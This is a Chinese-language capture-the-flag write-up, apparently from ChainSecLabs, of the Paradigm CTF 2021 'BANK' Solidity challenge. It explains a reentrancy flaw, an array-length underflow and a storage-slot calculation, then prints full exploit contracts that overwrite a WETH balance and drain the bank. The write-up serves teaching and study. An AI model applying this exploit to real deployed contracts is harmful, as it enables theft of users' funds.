BANK
要求是清空bank合约中的50个WETH
function isSolved() external view returns (bool) {
return weth.balanceOf(address(bank)) == 0;
}
阅读bank代码可以发现
-
depositToken, withdrawToken等函数都没有防止重入的措施
-
没有
nonReentry
修饰符 -
存在数组越界情况
-
account.uniqueTokens--
;
-
复杂的数据结构
accounts[msg.sender].length--
;
如果此时的 accounts[msg.sender].length == 0
,则会使得 accounts[msg.sender].length
下溢出
由此可以满足 setAccountName
的条件
function setAccountName(uint accountId, string name) external {
require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");
accounts[msg.sender][accountId].accountName = name;
}
struct Account {
string accountName;
uint uniqueTokens;
mapping(address => uint) balances;
}
mapping(address => Account[]) accounts;
结合 setAccountName
函数,可以在任何我们感兴趣的Storage进行写入
于是想到可以先利用重入使 accounts[msg.sender].length
下溢,再在Storage写入我感兴趣的值,比如我的账户的WETH的余额等,然后再调用withdraw
函数取出合约中所有的WETH到我的账户上。
重入和下溢
分析withdarwToken
函数发现,有如下两个函数涉及到外部合约的调用:
ERC20Like(token).balanceOf(msg.sender)
ERC20Like(token).transferFrom(msg.sender, address(this), amount)
并且withdarwToken和closeLastAccount都会涉及到 accounts[msg.sender].length--
;
由此得到一个重入逻辑
deposit(0, address(this), 0) // 第一次调用balanceOf重入,len=1,uniqueTokens == 0
withdraw(0, address(this), 0) // 第二次调用balanceOf重入,len=1,uniqueTokens == 0
deposit(0, address(this), 0) // 第三次调用balanceOf重入,len=1,uniqueTokens == 0
closeLastAccount() // (通过检查 .length > 0 && uniqueTokens == 0)
deposit 继续执行并将 uniqueTokens 设置为 1
withdraw 继续执行并再次删除帐户(通过 uniqueTokens == 1 检查)
deposit 继续执行,我们不关心它的作用
代码实现
reentrancyState = 1;
bank.depositToken(0, address(this), 0);
function balanceOf(address who ) public returns (uint256) {
uint result = balances[who];
if (reentrancyState == 1) {
reentrancyState++;
bank.withdrawToken(0, this, 0);
} else if (reentrancyState == 2) {
reentrancyState++;
bank.depositToken(0, this, 0);
} else if (reentrancyState == 3) {
reentrancyState++;
bank.closeLastAccount();
}
return result;
}
任意写入
再看一下 setAccountName
函数
function setAccountName(uint accountId, string name) external {
require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");
accounts[msg.sender][accountId].accountName = name;
}
联系数据结构
struct Account {
string accountName;
uint uniqueTokens;
mapping(address => uint) balances;
}
mapping(address => Account[]) accounts;
可以想到计算出一个accountId
可以通过 setAccountName
来设置WETH的余额
slot(accounts[msg.sender][accountId].accountName) == slot(accounts[msg.sender][accountId].balances[WETH])
slot(accounts[msg.sender][accountId].accountName) =
{
base_key = keccak(abi.encodePacked(msg.sender, 0x02)); //mapping(address => Account[])
acc_key = keccak(base_key) + 3 * accountId //Account[] 类似于动态数组 且Account占三个slot
accountName_key = acc_key + 0x00 //accountName处于第一位
}
slot(accounts[msg.sender][accountId].balances[WETH]) =
{
base_key2 = keccak(abi.encodePacked(msg.sender, 0x02));
acc_key2 = keccak(base_key2) + 3 * accountId
balances[WETH]_key = keccak(abi.encodePacked(address(WETH), acc_key2+0x02)) //balances处于第三位
}
由此可以得到以下攻击代码
import "./Setup.sol";
contract BadToken is ERC20Like {
mapping(address => uint) balances;
uint stage = 0;
function transfer(address dst, uint qty) public returns (bool) {
balances[msg.sender] -= qty;
balances[dst] += qty;
return true;
}
function transferFrom(address src, address dst, uint qty) public returns (bool) {
balances[src] -= qty;
balances[dst] += qty;
return true;
}
function approve(address, uint) public returns (bool) {
return true;
}
function balanceOf(address who) public view returns (uint) {
uint result = balances[who];
if (reentrancyState == 1) {
reentrancyState++;
bank.withdrawToken(0, this, 0);
} else if (reentrancyState == 2) {
reentrancyState++;
bank.depositToken(0, this, 0);
} else if (reentrancyState == 3) {
reentrancyState++;
bank.closeLastAccount();
}
return result;
}
Bank private bank;
WETH9 private weth;
uint public reentrancyState;
function exploit(bankSetup setup) public {
bank = setup.bank();
weth = setup.weth();
reentrancyState = 1;
bank.depositToken(0, address(this), 0);
bytes32 myArraySlot = keccak256(bytes32(address(this)), uint(2));
bytes32 myArrayStart = keccak256(myArraySlot);
uint account = 0;
uint slotsNeeded;
while (true) {
bytes32 account0Start = bytes32(uint(myArrayStart) + 3*account);
bytes32 account0Balances = bytes32(uint(account0Start) + 2);
bytes32 wethBalance = keccak256(bytes32(address(weth)), account0Balances);
slotsNeeded = (uint(-1) - uint(myArrayStart));
slotsNeeded++;
slotsNeeded += uint(wethBalance);
if (uint(slotsNeeded) % 3 == 0) {
break;
}
account++;
}
uint accountId = uint(slotsNeeded) / 3;
bank.setAccountName(accountId, string(abi.encodePacked(bytes31(uint248(uint(-1))))));
bank.withdrawToken(account, address(weth), weth.balanceOf(address(bank)));
}
}
contract bankExploit {
constructor(bankSetup setup) public {
new BadToken().exploit(setup);
}
}
原文始发于微信公众号(ChainSecLabs):Paradigm CTF 2021——BANK